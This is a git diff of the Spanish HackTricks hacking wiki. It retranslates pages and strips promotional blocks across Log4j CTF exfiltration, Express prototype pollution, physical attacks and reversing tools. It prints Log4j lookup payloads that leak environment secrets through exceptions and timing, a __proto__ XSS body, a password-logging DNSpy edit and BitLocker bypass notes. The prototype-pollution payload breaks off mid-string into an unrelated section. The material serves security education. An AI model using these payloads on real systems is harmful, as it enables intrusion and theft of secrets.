realizar **búsquedas recursivas** necesitas tenerlas configuradas. @@ -384,20 +376,20 @@ Por ejemplo, en ese CTF esto se configuró en el archivo log4j2.xml: ``` -### Búsquedas de Entorno +### Búsquedas de Env -En [este CTF](https://sigflag.at/blog/2022/writeup-googlectf2022-log4j/) el atacante controlaba el valor de `${sys:cmd}` y necesitaba exfiltrar la bandera de una variable de entorno.\ +En [este CTF](https://sigflag.at/blog/2022/writeup-googlectf2022-log4j/), el atacante controlaba el valor de `${sys:cmd}` y necesitaba exfiltrar la bandera de una variable de entorno.\ Como se vio en esta página en [**cargas útiles anteriores**](jndi-java-naming-and-directory-interface-and-log4shell.md#verification), hay diferentes formas de acceder a las variables de entorno, como: **`${env:FLAG}`**. En este CTF esto fue inútil, pero podría no serlo en otros escenarios de la vida real. ### Exfiltración en Excepciones -En el CTF, **no podías acceder al stderr** de la aplicación java usando log4J, pero las **excepciones de Log4J se envían a stdout**, que se imprimió en la aplicación de python. Esto significaba que al provocar una excepción podíamos acceder al contenido. Una excepción para exfiltrar la bandera fue: **`${java:${env:FLAG}}`**. Esto funciona porque **`${java:CTF{blahblah}}`** no existe y se mostrará una excepción con el valor de la bandera: +En el CTF, **no podías acceder al stderr** de la aplicación java usando log4J, pero las **excepciones de Log4J se envían a stdout**, que se imprimió en la aplicación de python. Esto significaba que al desencadenar una excepción podíamos acceder al contenido. Una excepción para exfiltrar la bandera fue: **`${java:${env:FLAG}}`**. Esto funciona porque **`${java:CTF{blahblah}}`** no existe y se mostrará una excepción con el valor de la bandera: ![](<../../.gitbook/assets/image (1023).png>) ### Excepciones de Patrones de Conversión -Solo para mencionarlo, también podrías inyectar nuevos [**patrones de conversión**](https://logging.apache.org/log4j/2.x/manual/layouts.html#PatternLayout) y provocar excepciones que se registrarán en `stdout`. Por ejemplo: +Solo para mencionarlo, también podrías inyectar nuevos [**patrones de conversión**](https://logging.apache.org/log4j/2.x/manual/layouts.html#PatternLayout) y desencadenar excepciones que se registrarán en `stdout`. Por ejemplo: ![](<../../.gitbook/assets/image (683).png>) @@ -410,7 +402,7 @@ Sin embargo, es posible usar algunos **patrones de conversión que soportan expr * **Búsqueda binaria a través de mensajes de excepción** El patrón de conversión **`%replace`** se puede usar para **reemplazar** **contenido** de una **cadena** incluso usando **expresiones regulares**. Funciona así: `replace{pattern}{regex}{substitution}`\ -Abusando de este comportamiento podrías hacer que reemplazar **provocara una excepción si la expresión regular coincidía** con algo dentro de la cadena (y ninguna excepción si no se encontraba) así: +Abusando de este comportamiento podrías hacer que el reemplazo **desencadene una excepción si la expresión regular coincidía** con algo dentro de la cadena (y ninguna excepción si no se encontraba) así: ```bash %replace{${env:FLAG}}{^CTF.*}{${error}} # The string searched is the env FLAG, the regex searched is ^CTF.* @@ -419,9 +411,9 @@ Abusando de este comportamiento podrías hacer que reemplazar **provocara una ex * **Basado en tiempo** Como se mencionó en la sección anterior, **`%replace`** soporta **regexes**. Así que es posible usar un payload de la [**página de ReDoS**](../regular-expression-denial-of-service-redos.md) para causar un **timeout** en caso de que se encuentre la bandera.\ -Por ejemplo, un payload como `%replace{${env:FLAG}}{^(?=CTF)((.`_`)`_`)*salt$}{asd}` provocaría un **timeout** en ese CTF. +Por ejemplo, un payload como `%replace{${env:FLAG}}{^(?=CTF)((.`_`)`_`)*salt$}{asd}` desencadenaría un **timeout** en ese CTF. -En este [**informe**](https://intrigus.org/research/2022/07/18/google-ctf-2022-log4j2-writeup/), en lugar de usar un ataque ReDoS, se utilizó un **ataque de amplificación** para causar una diferencia de tiempo en la respuesta: +En este [**writeup**](https://intrigus.org/research/2022/07/18/google-ctf-2022-log4j2-writeup/), en lugar de usar un ataque ReDoS, se utilizó un **ataque de amplificación** para causar una diferencia de tiempo en la respuesta: > ``` > /%replace{ @@ -441,9 +433,9 @@ En este [**informe**](https://intrigus.org/research/2022/07/18/google-ctf-2022-l > }{#}{######################################################} > ``` > -> Si la bandera comienza con `flagGuess`, toda la bandera es reemplazada por 29 `#`-s (utilicé este carácter porque probablemente no formaría parte de la bandera). **Cada uno de los 29 `#`-s resultantes es luego reemplazado por 54 `#`-s**. Este proceso se repite **6 veces**, llevando a un total de ` 29*54*54^6* =`` `` `**`96816014208`** **`#`-s!** +> Si la bandera comienza con `flagGuess`, toda la bandera es reemplazada por 29 `#`-s (usé este carácter porque probablemente no formaría parte de la bandera). **Cada uno de los 29 `#`-s resultantes es luego reemplazado por 54 `#`-s**. Este proceso se repite **6 veces**, llevando a un total de ` 29*54*54^6* =`` `` `**`96816014208`** **`#`-s!** > -> Reemplazar tantos `#`-s provocará el timeout de 10 segundos de la aplicación Flask, lo que a su vez resultará en que se envíe el código de estado HTTP 500 al usuario. (Si la bandera no comienza con `flagGuess`, recibiremos un código de estado que no es 500) +> Reemplazar tantos `#`-s desencadenará el timeout de 10 segundos de la aplicación Flask, lo que a su vez resultará en que se envíe el código de estado HTTP 500 al usuario. (Si la bandera no comienza con `flagGuess`, recibiremos un código de estado que no es 500) ## Referencias @@ -456,23 +448,18 @@ En este [**informe**](https://intrigus.org/research/2022/07/18/google-ctf-2022-l * [https://intrigus.org/research/2022/07/18/google-ctf-2022-log4j2-writeup/](https://intrigus.org/research/2022/07/18/google-ctf-2022-log4j2-writeup/) * [https://sigflag.at/blog/2022/writeup-googlectf2022-log4j/](https://sigflag.at/blog/2022/writeup-googlectf2022-log4j/) -**Grupo de Seguridad Try Hard** - -
- -{% embed url="https://discord.gg/tryhardsecurity" %} {% hint style="success" %} -Aprende y practica Hacking en AWS:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ -Aprende y practica Hacking en GCP: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) +Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-Apoya a HackTricks +Support HackTricks -* Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)! -* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** -* **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github. +* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)! +* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
{% endhint %} diff --git a/pentesting-web/deserialization/nodejs-proto-prototype-pollution/express-prototype-pollution-gadgets.md b/pentesting-web/deserialization/nodejs-proto-prototype-pollution/express-prototype-pollution-gadgets.md index c9330b98a..3f5aa03cb 100644 --- a/pentesting-web/deserialization/nodejs-proto-prototype-pollution/express-prototype-pollution-gadgets.md +++ b/pentesting-web/deserialization/nodejs-proto-prototype-pollution/express-prototype-pollution-gadgets.md @@ -1,35 +1,21 @@ -# Express Prototype Pollution Gadgets +# Gadgets de Contaminación de Prototipos de Express {% hint style="success" %} -Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ -Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) +Aprende y practica Hacking en AWS:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Aprende y practica Hacking en GCP: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-Support HackTricks +Apoya a HackTricks -* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)! -* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** -* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. +* Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)! +* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
{% endhint %} -### [WhiteIntel](https://whiteintel.io) - -
- -[**WhiteIntel**](https://whiteintel.io) es un motor de búsqueda alimentado por la **dark-web** que ofrece funcionalidades **gratuitas** para verificar si una empresa o sus clientes han sido **comprometidos** por **malware de robo**. - -Su objetivo principal de WhiteIntel es combatir la toma de cuentas y los ataques de ransomware resultantes de malware que roba información. - -Puedes visitar su sitio web y probar su motor de forma **gratuita** en: - -{% embed url="https://whiteintel.io" %} - -*** - -## Serve XSS responses +## Servir respuestas XSS **Para más detalles** [**echa un vistazo a la investigación original**](https://portswigger.net/research/server-side-prototype-pollution) @@ -43,7 +29,7 @@ _.merge({}, req.body); res.send(req.body); }); ``` -En estos casos, XSS normalmente no es posible con un tipo de contenido JSON. Sin embargo, con la contaminación del prototipo podemos **confundir a Express para que sirva una respuesta HTML.** Esta vulnerabilidad se basa en que la aplicación utiliza **`res.send(obj)`** y usa el analizador de cuerpo con el tipo de contenido application/json. +En estos casos, XSS normalmente no es posible con un tipo de contenido JSON. Sin embargo, con la contaminación de prototipos podemos **confundir a Express para que sirva una respuesta HTML.** Esta vulnerabilidad se basa en que la aplicación utiliza **`res.send(obj)`** y usa el analizador de cuerpo con el tipo de contenido application/json. ```json {"__proto__":{"_body":true,"body":"`. Por eso en este ejemplo no necesitas indicar el uso de `opener` explícitamente. * También revisa este writeup de CTF: [https://ctftime.org/writeup/36068](https://ctftime.org/writeup/36068) -## Referencias +## References * [https://conference.hitb.org/hitbsecconf2017ams/sessions/everybody-wants-some-advance-same-origin-method-execution/](https://conference.hitb.org/hitbsecconf2017ams/sessions/everybody-wants-some-advance-same-origin-method-execution/) diff --git a/physical-attacks/physical-attacks.md b/physical-attacks/physical-attacks.md index c9673d2ca..7b327f855 100644 --- a/physical-attacks/physical-attacks.md +++ b/physical-attacks/physical-attacks.md @@ -15,20 +15,6 @@ Aprende y practica Hacking en GCP: {% endhint %} -### [WhiteIntel](https://whiteintel.io) - -
- -[**WhiteIntel**](https://whiteintel.io) es un motor de búsqueda alimentado por la **dark-web** que ofrece funcionalidades **gratuitas** para verificar si una empresa o sus clientes han sido **comprometidos** por **malwares robadores**. - -Su objetivo principal de WhiteIntel es combatir la toma de cuentas y los ataques de ransomware resultantes de malware que roba información. - -Puedes visitar su sitio web y probar su motor de forma **gratuita** en: - -{% embed url="https://whiteintel.io" %} - ---- - ## Recuperación de Contraseña de BIOS y Seguridad del Sistema **Restablecer la BIOS** se puede lograr de varias maneras. La mayoría de las placas base incluyen una **batería** que, al ser retirada durante aproximadamente **30 minutos**, restablecerá la configuración de la BIOS, incluida la contraseña. Alternativamente, se puede ajustar un **puente en la placa base** para restablecer estas configuraciones conectando pines específicos. @@ -45,7 +31,7 @@ Para sistemas modernos que utilizan **UEFI** en lugar de la BIOS tradicional, se ### Análisis de RAM y Ataques de Arranque en Frío -La RAM retiene datos brevemente después de que se corta la energía, generalmente durante **1 a 2 minutos**. Esta persistencia se puede extender a **10 minutos** aplicando sustancias frías, como nitrógeno líquido. Durante este período extendido, se puede crear un **volcado de memoria** utilizando herramientas como **dd.exe** y **volatility** para análisis. +La RAM retiene datos brevemente después de que se corta la energía, generalmente durante **1 a 2 minutos**. Esta persistencia se puede extender a **10 minutos** aplicando sustancias frías, como nitrógeno líquido. Durante este período extendido, se puede crear un **volcado de memoria** utilizando herramientas como **dd.exe** y **volatility** para su análisis. ### Ataques de Acceso Directo a la Memoria (DMA) @@ -73,25 +59,13 @@ Dispositivos como **Rubber Ducky** y **Teensyduino** sirven como plataformas par Los privilegios de administrador permiten la creación de copias de archivos sensibles, incluido el archivo **SAM**, a través de PowerShell. -### Eludir la Encriptación de BitLocker +### Eludir la Encriptación BitLocker -La encriptación de BitLocker puede potencialmente ser eludida si se encuentra la **contraseña de recuperación** dentro de un archivo de volcado de memoria (**MEMORY.DMP**). Herramientas como **Elcomsoft Forensic Disk Decryptor** o **Passware Kit Forensic** pueden ser utilizadas para este propósito. +La encriptación BitLocker puede potencialmente ser eludida si se encuentra la **contraseña de recuperación** dentro de un archivo de volcado de memoria (**MEMORY.DMP**). Herramientas como **Elcomsoft Forensic Disk Decryptor** o **Passware Kit Forensic** pueden ser utilizadas para este propósito. ### Ingeniería Social para Adición de Clave de Recuperación -Se puede agregar una nueva clave de recuperación de BitLocker a través de tácticas de ingeniería social, convenciendo a un usuario para que ejecute un comando que añade una nueva clave de recuperación compuesta de ceros, simplificando así el proceso de desencriptación. - -### [WhiteIntel](https://whiteintel.io) - -
- -[**WhiteIntel**](https://whiteintel.io) es un motor de búsqueda alimentado por la **dark-web** que ofrece funcionalidades **gratuitas** para verificar si una empresa o sus clientes han sido **comprometidos** por **malwares robadores**. - -Su objetivo principal de WhiteIntel es combatir la toma de cuentas y los ataques de ransomware resultantes de malware que roba información. - -Puedes visitar su sitio web y probar su motor de forma **gratuita** en: - -{% embed url="https://whiteintel.io" %} +Se puede agregar una nueva clave de recuperación de BitLocker a través de tácticas de ingeniería social, convenciendo a un usuario para que ejecute un comando que añade una nueva clave de recuperación compuesta de ceros, simplificando así el proceso de descifrado. {% hint style="success" %} Aprende y practica Hacking en AWS:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ diff --git a/reversing/common-api-used-in-malware.md b/reversing/common-api-used-in-malware.md index 0987fe14b..6b2dc0aed 100644 --- a/reversing/common-api-used-in-malware.md +++ b/reversing/common-api-used-in-malware.md @@ -15,19 +15,11 @@ Aprende y practica Hacking en GCP: {% endhint %} -**Try Hard Security Group** - -
- -{% embed url="https://discord.gg/tryhardsecurity" %} - -*** - ## Genérico ### Redes -| Sockets Crudos | Sockets WinAPI | +| Sockets en Crudo | Sockets WinAPI | | ---------------- | -------------- | | socket() | WSAStratup() | | bind() | bind() | @@ -72,27 +64,27 @@ Aprende y practica Hacking en GCP:
- -{% embed url="https://discord.gg/tryhardsecurity" %} - {% hint style="success" %} Aprende y practica Hacking en AWS:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ Aprende y practica Hacking en GCP: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) diff --git a/reversing/reversing-tools-basic-methods/README.md b/reversing/reversing-tools-basic-methods/README.md index ece708776..599654e17 100644 --- a/reversing/reversing-tools-basic-methods/README.md +++ b/reversing/reversing-tools-basic-methods/README.md @@ -15,14 +15,6 @@ Aprende y practica Hacking en GCP: {% endhint %} -**Grupo de Seguridad Try Hard** - -
- -{% embed url="https://discord.gg/tryhardsecurity" %} - -*** - ## Herramientas de Reversión Basadas en ImGui Software: @@ -48,7 +40,7 @@ Software: dotPeek es un descompilador que **descompila y examina múltiples formatos**, incluyendo **bibliotecas** (.dll), **archivos de metadatos de Windows** (.winmd) y **ejecutables** (.exe). Una vez descompilado, un ensamblaje puede ser guardado como un proyecto de Visual Studio (.csproj). -El mérito aquí es que si un código fuente perdido requiere restauración desde un ensamblaje legado, esta acción puede ahorrar tiempo. Además, dotPeek proporciona una navegación útil a través del código descompilado, convirtiéndolo en una de las herramientas perfectas para **análisis de algoritmos de Xamarin.** +El mérito aquí es que si un código fuente perdido requiere restauración desde un ensamblaje legado, esta acción puede ahorrar tiempo. Además, dotPeek proporciona una navegación útil a través del código descompilado, convirtiéndolo en una de las herramientas perfectas para el **análisis de algoritmos de Xamarin.** ### [.NET Reflector](https://www.red-gate.com/products/reflector/) @@ -64,7 +56,7 @@ Con un modelo de complemento integral y una API que extiende la herramienta para ### [ILSpy](https://github.com/icsharpcode/ILSpy) & [dnSpy](https://github.com/dnSpy/dnSpy/releases) [Plugin de ILSpy para Visual Studio Code](https://github.com/icsharpcode/ilspy-vscode): Puedes tenerlo en cualquier sistema operativo (puedes instalarlo directamente desde VSCode, no es necesario descargar el git. Haz clic en **Extensiones** y **busca ILSpy**).\ -Si necesitas **descompilar**, **modificar** y **recompilar** de nuevo, puedes usar [**dnSpy**](https://github.com/dnSpy/dnSpy/releases) o un fork mantenido activamente de él, [**dnSpyEx**](https://github.com/dnSpyEx/dnSpy/releases). (**Clic derecho -> Modificar método** para cambiar algo dentro de una función). +Si necesitas **descompilar**, **modificar** y **recompilar** nuevamente, puedes usar [**dnSpy**](https://github.com/dnSpy/dnSpy/releases) o un fork mantenido activamente de él, [**dnSpyEx**](https://github.com/dnSpyEx/dnSpy/releases). (**Clic derecho -> Modificar método** para cambiar algo dentro de una función). ### Registro de DNSpy @@ -78,7 +70,7 @@ File.AppendAllText(path, "Password: " + password + "\n"); Para depurar código usando DNSpy, necesitas: -Primero, cambia los **atributos de ensamblado** relacionados con **la depuración**: +Primero, cambia los **atributos de la Asamblea** relacionados con **la depuración**: ![](<../../.gitbook/assets/image (973).png>) ```aspnet @@ -99,7 +91,7 @@ Luego guarda el nuevo archivo a través de _**Archivo >> Guardar módulo...**_: ![](<../../.gitbook/assets/image (602).png>) -Esto es necesario porque si no lo haces, en **tiempo de ejecución** se aplicarán varias **optimizaciones** al código y podría ser posible que mientras depuras un **punto de interrupción nunca se active** o que algunas **variables no existan**. +Esto es necesario porque si no lo haces, en **tiempo de ejecución** se aplicarán varias **optimizaciones** al código y podría ser posible que mientras depuras un **punto de interrupción nunca se active** o algunas **variables no existan**. Luego, si tu aplicación .NET está siendo **ejecutada** por **IIS**, puedes **reiniciarla** con: ``` @@ -137,16 +129,16 @@ Haz clic derecho en cualquier módulo en **Assembly Explorer** y haz clic en **S ### Usando IDA * **Cargar rundll32** (64 bits en C:\Windows\System32\rundll32.exe y 32 bits en C:\Windows\SysWOW64\rundll32.exe) -* Selecciona el depurador **Windbg** -* Selecciona "**Suspend on library load/unload**" +* Seleccionar el depurador **Windbg** +* Seleccionar "**Suspend on library load/unload**" ![](<../../.gitbook/assets/image (868).png>) -* Configura los **parámetros** de la ejecución poniendo la **ruta a la DLL** y la función que deseas llamar: +* Configurar los **parámetros** de la ejecución poniendo la **ruta a la DLL** y la función que deseas llamar: ![](<../../.gitbook/assets/image (704).png>) -Luego, cuando comiences a depurar, **la ejecución se detendrá cuando se cargue cada DLL**, luego, cuando rundll32 cargue tu DLL, la ejecución se detendrá. +Luego, cuando comiences a depurar **la ejecución se detendrá cuando se cargue cada DLL**, luego, cuando rundll32 cargue tu DLL, la ejecución se detendrá. Pero, ¿cómo puedes llegar al código de la DLL que fue cargada? Usando este método, no sé cómo. @@ -154,8 +146,8 @@ Pero, ¿cómo puedes llegar al código de la DLL que fue cargada? Usando este m * **Cargar rundll32** (64 bits en C:\Windows\System32\rundll32.exe y 32 bits en C:\Windows\SysWOW64\rundll32.exe) * **Cambiar la línea de comandos** (_File --> Change Command Line_) y establecer la ruta de la dll y la función que deseas llamar, por ejemplo: "C:\Windows\SysWOW64\rundll32.exe" "Z:\shared\Cybercamp\rev2\\\14.ridii\_2.dll",DLLMain -* Cambia _Options --> Settings_ y selecciona "**DLL Entry**". -* Luego **inicia la ejecución**, el depurador se detendrá en cada main de dll, en algún momento te **detendrás en la entrada de la dll de tu dll**. Desde allí, solo busca los puntos donde deseas poner un punto de interrupción. +* Cambiar _Options --> Settings_ y seleccionar "**DLL Entry**". +* Luego **iniciar la ejecución**, el depurador se detendrá en cada main de dll, en algún momento te **detendrás en la entrada de la dll** que deseas depurar. Desde allí, solo busca los puntos donde deseas poner un punto de interrupción. Ten en cuenta que cuando la ejecución se detiene por cualquier razón en win64dbg, puedes ver **en qué código estás** mirando en **la parte superior de la ventana de win64dbg**: @@ -195,7 +187,7 @@ Puedes encontrar una versión ligeramente modificada de Blobrunner en el siguien ### Depurando un shellcode con jmp2it -[**jmp2it** ](https://github.com/adamkramer/jmp2it/releases/tag/v1.4) es muy similar a blobrunner. **Asignará** el **shellcode** dentro de un espacio de memoria y comenzará un **bucle eterno**. Luego necesitas **adjuntar el depurador** al proceso, **presionar iniciar, esperar 2-5 segundos y presionar detener** y te encontrarás dentro del **bucle eterno**. Salta a la siguiente instrucción del bucle eterno ya que será una llamada al shellcode, y finalmente te encontrarás ejecutando el shellcode. +[**jmp2it** ](https://github.com/adamkramer/jmp2it/releases/tag/v1.4) es muy similar a blobrunner. **Asignará** el **shellcode** dentro de un espacio de memoria y comenzará un **bucle eterno**. Luego necesitas **adjuntar el depurador** al proceso, **presionar iniciar, esperar 2-5 segundos y presionar detener** y te encontrarás dentro del **bucle eterno**. Salta a la siguiente instrucción del bucle eterno, ya que será una llamada al shellcode, y finalmente te encontrarás ejecutando el shellcode. ![](<../../.gitbook/assets/image (509).png>) @@ -205,7 +197,7 @@ Puedes descargar una versión compilada de [jmp2it en la página de lanzamientos [**Cutter**](https://github.com/rizinorg/cutter/releases/tag/v1.12.0) es la GUI de radare. Usando cutter puedes emular el shellcode e inspeccionarlo dinámicamente. -Ten en cuenta que Cutter te permite "Abrir archivo" y "Abrir shellcode". En mi caso, cuando abrí el shellcode como un archivo, lo descompiló correctamente, pero cuando lo abrí como un shellcode no: +Ten en cuenta que Cutter te permite "Abrir archivo" y "Abrir shellcode". En mi caso, cuando abrí el shellcode como un archivo, lo descompiló correctamente, pero cuando lo abrí como un shellcode no lo hizo: ![](<../../.gitbook/assets/image (562).png>) @@ -222,7 +214,7 @@ Puedes ver la pila, por ejemplo, dentro de un volcado hexadecimal: ### Desofuscando shellcode y obteniendo funciones ejecutadas Deberías probar [**scdbg**](http://sandsprite.com/blogs/index.php?uid=7\&pid=152).\ -Te dirá cosas como **qué funciones** está utilizando el shellcode y si el shellcode se **decodifica** a sí mismo en memoria. +Te dirá cosas como **qué funciones** está utilizando el shellcode y si el shellcode se está **decodificando** a sí mismo en memoria. ```bash scdbg.exe -f shellcode # Get info scdbg.exe -f shellcode -r #show analysis report at end of run @@ -235,7 +227,7 @@ scDbg también cuenta con un lanzador gráfico donde puedes seleccionar las opci ![](<../../.gitbook/assets/image (258).png>) -La opción **Create Dump** volcará el shellcode final si se realiza algún cambio en el shellcode dinámicamente en memoria (útil para descargar el shellcode decodificado). El **start offset** puede ser útil para iniciar el shellcode en un desplazamiento específico. La opción **Debug Shell** es útil para depurar el shellcode utilizando el terminal de scDbg (sin embargo, encuentro que cualquiera de las opciones explicadas antes es mejor para este asunto, ya que podrás usar Ida o x64dbg). +La opción **Create Dump** volcará el shellcode final si se realiza algún cambio en el shellcode dinámicamente en memoria (útil para descargar el shellcode decodificado). El **start offset** puede ser útil para iniciar el shellcode en un desplazamiento específico. La opción **Debug Shell** es útil para depurar el shellcode utilizando el terminal de scDbg (sin embargo, encuentro que cualquiera de las opciones explicadas anteriormente es mejor para este asunto, ya que podrás usar Ida o x64dbg). ### Desensamblando usando CyberChef @@ -270,7 +262,7 @@ Teniendo el **nombre** de las **funciones** que se están llamando, búscalas en Para binarios compilados en Delphi puedes usar [https://github.com/crypto2011/IDR](https://github.com/crypto2011/IDR) -Si tienes que revertir un binario de Delphi, te sugeriría usar el plugin de IDA [https://github.com/Coldzer0/IDA-For-Delphi](https://github.com/Coldzer0/IDA-For-Delphi) +Si tienes que hacer ingeniería inversa a un binario de Delphi, te sugeriría usar el plugin de IDA [https://github.com/Coldzer0/IDA-For-Delphi](https://github.com/Coldzer0/IDA-For-Delphi) Solo presiona **ATL+f7** (importar plugin de python en IDA) y selecciona el plugin de python. @@ -280,7 +272,7 @@ También es muy interesante porque si presionas un botón en la aplicación grá ## Golang -Si tienes que revertir un binario de Golang, te sugeriría usar el plugin de IDA [https://github.com/sibears/IDAGolangHelper](https://github.com/sibears/IDAGolangHelper) +Si tienes que hacer ingeniería inversa a un binario de Golang, te sugeriría usar el plugin de IDA [https://github.com/sibears/IDAGolangHelper](https://github.com/sibears/IDAGolangHelper) Solo presiona **ATL+f7** (importar plugin de python en IDA) y selecciona el plugin de python. @@ -324,7 +316,7 @@ Así que, en este tipo de programa, la parte interesante será **cómo el progra ![](<../../.gitbook/assets/image (447).png>) -En la imagen anterior puedes encontrar que la función es llamada desde **FUN\_080015a8** (direcciones: _0x080015fa_ y _0x080017ac_). +En la imagen anterior puedes ver que la función es llamada desde **FUN\_080015a8** (direcciones: _0x080015fa_ y _0x080017ac_). En esa función, después de algunas operaciones de inicialización (sin ninguna importancia): ```c @@ -393,7 +385,7 @@ En el código anterior, puedes ver que estamos comparando **uVar1** (el lugar do * Luego, se compara con el **valor 8** (botón **START**): En el desafío, esto verifica si el código es válido para obtener la bandera. * En este caso, la var **`DAT_030000d8`** se compara con 0xf3 y si el valor es el mismo, se ejecuta algún código. * En cualquier otro caso, se verifica algún cont (`DAT_030000d4`). Es un cont porque se suma 1 justo después de entrar en el código.\ -**Si** es menor que 8, se realiza algo que involucra **sumar** valores a \*\*`DAT_030000d8` \*\* (básicamente, se están sumando los valores de las teclas presionadas en esta variable siempre que el cont sea menor que 8). +**Si** es menor que 8, se realiza algo que involucra **sumar** valores a \*\*`DAT_030000d8` \*\* (básicamente, se suman los valores de las teclas presionadas en esta variable siempre que el cont sea menor que 8). Así que, en este desafío, conociendo los valores de los botones, necesitabas **presionar una combinación con una longitud menor que 8 cuya suma resultante sea 0xf3.** @@ -408,12 +400,6 @@ Así que, en este desafío, conociendo los valores de los botones, necesitabas * * [https://github.com/0xZ0F/Z0FCourse\_ReverseEngineering](https://github.com/0xZ0F/Z0FCourse\_ReverseEngineering) * [https://github.com/malrev/ABD](https://github.com/malrev/ABD) (Desofuscación binaria) -**Try Hard Security Group** - -
- -{% embed url="https://discord.gg/tryhardsecurity" %} - {% hint style="success" %} Aprende y practica Hacking en AWS:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ Aprende y practica Hacking en GCP: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) @@ -422,9 +408,9 @@ Aprende y practica Hacking en GCP: Apoya a HackTricks -* Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)! +* ¡Consulta los [**planes de suscripción**](https://github.com/sponsors/carlospolop)! * **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** -* **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos de github. +* **Comparte trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud). {% endhint %} diff --git a/stego/stego-tricks.md b/stego/stego-tricks.md index 4ad0db99d..ee3a75423 100644 --- a/stego/stego-tricks.md +++ b/stego/stego-tricks.md @@ -1,28 +1,20 @@ # Stego Tricks {% hint style="success" %} -Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ -Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) +Aprende y practica AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Aprende y practica GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
Support HackTricks -* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)! -* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** -* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. +* Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)! +* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
{% endhint %} -**Try Hard Security Group** - -
